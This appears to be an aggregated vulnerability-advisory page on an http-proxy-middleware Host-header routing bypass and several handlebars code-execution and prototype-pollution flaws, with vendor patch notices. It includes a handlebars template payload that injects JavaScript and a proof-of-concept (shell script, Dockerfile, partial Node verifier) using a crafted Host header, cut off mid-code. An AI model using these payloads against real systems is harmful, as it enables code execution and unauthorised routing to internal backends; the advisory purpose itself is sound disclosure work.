CVE-2026-55602

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.

http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:

	{{#with split as |a|}}
		{{pop (push "alert('Vulnerable Handlebars JS');")}}
		{{#with (concat (lookup join (slice 0 1)))}}
			{{#each (slice 2 3)}}
				{{#with (apply 0 a)}}
					{{.}}
				{{/with}}
			{{/each}}
		{{/with}}
	{{/with}}
{{/with}}```


## Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

• validated on tag v4.0.0-beta.5
• corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

• src/router.ts
• src/http-proxy-middleware.ts

Affected public API:

• createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

localhost:3000/api

but the attacker-controlled host is:

evillocalhost:3000

and the request path is:

/api

The concatenated attacker-controlled string:

evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table router feature with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted Host header
3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying
4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching
5. the request is proxied to the wrong backend

PoC

Create these files in the same working directory and run:

bash ./run.sh

File: run.sh

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs

File: Dockerfile

FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
    …

Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.

Recommendation

For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.

TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.

TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.

TuxCare rebuilt http-proxy-middleware to address 3 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 2.0.7-tuxcare.3.

TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.17.2-tuxcare.2.

TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.18.0-tuxcare.2.

TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.17.3-tuxcare.2.

TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.19.1-tuxcare.3.

TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 4.0.0-tuxcare.1.

TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 3.0.5-tuxcare.1.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.

This update for agama-web-ui fixes the following issues:

• CVE-2025-7783: form-data: unsafe Math.random() function is used to select a boundary value for multipart form-encoded data (bsc#1246822).
• CVE-2026-12143: form-data: CRLF injection via unescaped multipart field names and filenames (bsc#1272310).
• CVE-2026-13149: brace-expansion: expand() function exhibits exponential-time complexity when processing non-expanding {} brace groups (bsc#1269927).
• CVE-2026-13311: shell-quote: quadratic complexity in parse() function when processing specially crafted strings (bsc#1269359).
• CVE-2026-13676: fast-uri: host-based policy bypass due to failure to canonicalize Unicode/IDN hostnames for HTTP-family URLs (bsc#1269595).
• CVE-2026-27601: underscore: DoS via stack overflow due to missing depth limits in _.flatten and _.isEqual functions (bsc#1259169).
• CVE-2026-40181: react-router: open redirect to an external domain due to path values starting with // being reinterpreted as protocol-relative URLs (bsc#1272311).
• CVE-2026-49356: @babel/core: arbitrary file read via sourceMappingURL comment (bsc#1272317).
• CVE-2026-53550: js-yaml: quadratic complexity in merge-key processing when processing a crafted YAML document (bsc#1268851).
• CVE-2026-53632: launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows (bsc#1272319).
• CVE-2026-54466: websocket-driver: message corruption via abuse of protocol length headers (bsc#1272312).
• CVE-2026-54490: websocket-driver: resource limit bypass via message compression (bsc#1272313).
• CVE-2026-55602: http-proxy-middleware: Host-header-driven backend routing bypass via router host+path substring matching (bsc#1272318).

Root has patched CVE-2026-55602 in the @rootio/http-proxy-middleware package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.